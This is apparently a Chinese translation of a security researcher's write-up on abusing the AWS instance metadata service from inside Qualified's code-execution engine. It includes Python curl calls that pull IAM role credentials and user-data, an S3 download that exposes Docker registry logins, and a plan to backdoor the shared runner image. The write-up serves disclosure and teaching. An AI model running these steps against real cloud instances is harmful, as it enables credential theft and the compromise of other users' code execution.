文中有一些个人拙见,还望各位在评论区批评指针,原文地址:https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/
最近在研究在 Docker 容器中执行不受信任的 Python 代码会出现什么反应。在研究过程中我测试了几个在线代码执行引擎,以了解它们对各种攻击的反应。在此过程总,我在Qualified开发的代码执行引擎中发现了几个有趣的漏洞。
Qualified 被广泛使用,包括CodeWars 或InterviewCake等网站。能够运行代码与网络访问,且在 Amazon Web Services 中运行。
漏洞细节
如果您浏览 InterviewCake 的留言页面,您会在页面底部找到一个小区域,您可以在其中输入和执行代码。
我们可以使用以下 Python 代码来运行任何 bash 命令:
os.system( "命令" )
简单挖掘后,我们可以看到每次运行时主机名都会发生变化,并且 init进程在以下控制组下运行:
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
...
根据上述查到的信息,可以推断:代码很大可能是在Docker 容器中运行。这些容器似乎可以访问 Internet,因此我们可以轻松地检查它们的公共 IP 是什么,例如使用非常方便的 IfConfig.co服务。
相关命令如下:
import os
os.system("curl ifconfig.co")
如果我们进行反向 DNS 查找,我们可以看到这个 IP 属于 AWS EC2:
$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.
如果不了解AWS EC2,可以把它看作是一项类似于 DigitalOcean 的服务,可让您在云中生成虚拟机。
利用
AWS EC2 有一个称为 实例元数据服务(官方文档)的功能。这使任何 EC2 实例都可以访问在 169.254.169.254 上运行的 REST API,该 API 返回有关实例本身的数据。一些示例包括实例名称、实例映像 (AMI) ID 和一堆其他有趣的东西。
由于我们的代码似乎在 EC2 实例上运行(或者更具体地说,在 EC2 实例上的 Docker 容器中),它可以访问此 API。当输入下述恶意代码时,观察一下返回情况:
import os
def get_endpoint(endpoint):
os.system("curl http:/169.254.169.254" + endpoint)
print()
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
print("[*] User script")
get_endpoint("/latest/user-data/")
输出如下:
[*] AMI id
ami-246cc332
[*] Security credentials
ecsInstanceRole
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac
简单解析一下:
- AMI id
这是主机使用的标识符 AMI(亚马逊机器映像)。(此处似乎是一个私人的,没有利用价值。)
- Security credentials
这是附加到机器的 IAM 角色列表。IAM(代表身份访问管理)是 AWS 服务,允许您管理用户、角色和权限。我们在这里看到这个机器被添加了一个角色 ecsInstanceRole,因此可以使用元数据 API 访问该角色的凭据。
这是一种允许您将角色附加到 机器而不是将 AWS API 密钥硬编码到应用程序代码中的机制。我们可以查询 API 以获取关联的凭据:
get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
反馈如下:
{
"Code" : "Success",
"LastUpdated" : "2017-03-26T09:59:42Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAIR[redacted]XQ",
"SecretAccessKey" : "42oRmJ[redacted]K2IRR",
"Token" : "FQoDYXdzEOv//////[redacted]",
"Expiration" : "2017-03-26T16:29:16Z"
}
使用这些凭证,应用程序(或攻击者)可以使用 AWS API 执行角色 ecsInstanceRole 允许的任何操作。
注:这里ECS代表EC2 Container Service。它(还)是另一项 AWS 服务,可让您轻松地在云中运行 Docker 容器,并抽象出它们的运行方式和运行方式。
当我们深入研究AWS文档,我们很容易发现 ecsInstanceRole是一个默认的 IAM 角色,并附有以下权限:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecs:CreateCluster",
"ecs:DeregisterContainerInstance",
"ecs:DiscoverPollEndpoint",
"ecs:Poll",
"ecs:RegisterContainerInstance",
"ecs:StartTelemetrySession",
"ecs:Submit*",
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*"
}
]
}
因此,这允许我们做很多有趣的事情,包括创建 ECS 集群、从集群中删除 EC2 实例、写入应用程序的日志等。
- User script
此端点返回一个用户定义的脚本,每次首次启动新的 EC2 实例时都会运行该脚本。此脚本通常用于基本配置,例如更新包、运行服务,并且显然有时用于存储敏感信息(此方式不推荐)。
脚本核心部分如下:
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac
浅浅解析一下:
最后一行泄露了 NewRelic 许可证密钥。
尝试查看配置文件:
root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
注意:
第一个命令是从 ecs-conf S3 存储桶下载配置文件。使用 AWS CLI 工具,我们注意到即使无法列出存储桶的内容,文件ecs.config 甚至是可公开访问的。
结果解析:
auth参数是一个 base-64 编码的字符串,它解码为 codewarsdeploy :somepassword (密码已被编辑)并允许我们登录到 Qualified! 的私有 Docker 注册表。
总结:
这意味着我们可以检索 Docker 镜像codewars/runner-server,查看里面有什么,在其中包含一个后门/任何恶意软件,然后将其写入注册表。
然后,每当有人在 InterviewCake 上提交解决方案,在 CodeWars 上提出挑战等情境下,都会在 Qualified 的代码执行引擎上进行一次代码执行时,我们的恶意代码便会运行。